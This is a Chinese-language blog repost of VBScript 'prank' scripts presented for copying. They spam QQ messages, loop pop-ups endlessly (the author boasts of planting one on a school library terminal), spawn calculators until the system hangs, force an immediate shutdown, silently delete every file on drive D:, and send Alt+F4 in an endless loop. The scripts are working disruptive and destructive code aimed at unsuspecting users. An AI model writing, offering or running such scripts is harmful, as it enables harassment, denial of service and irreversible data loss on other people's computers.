一、你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼里的數字10改一下即可).

xx.vbs=&gt

復制代碼 代碼如下:

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("與 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

QQ騷擾信息,也可以用在其它程序上。

二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打開無數個計算器，直到死機

------------------------------------------------------------------------------

dim wsh

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

四、直接關機

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

五、刪除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

六、不斷彈出窗口

----------------------------------------------------------------------------

復制代碼 代碼如下:

while(1)

msgbox "哈哈 你被耍了！"

loop

----------------------------------------------------------------------------

七、不斷按下alt+f4 (開什么都關閉……)

---------------------------------------------------------------------------

復制代碼 代碼如下:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按500次回車

(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)

復制代碼 代碼如下:

dim s

do until s=500

s=s+1

msgbox "哥們，給我按500次回車吧",64

loop

'------------------------ ------------------------------------------------------------

九、關不掉的窗口

復制代碼 代碼如下:

WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可愛的小朋嗎?")

WScript.Echo("哈,我想你拉，這你都不知道嗎？")

WScript.Echo("怎么才來，說~是不是不關心我")

WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")

總結

以上是生活随笔為你收集整理的整人的python代码_vbe最新整人代码的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。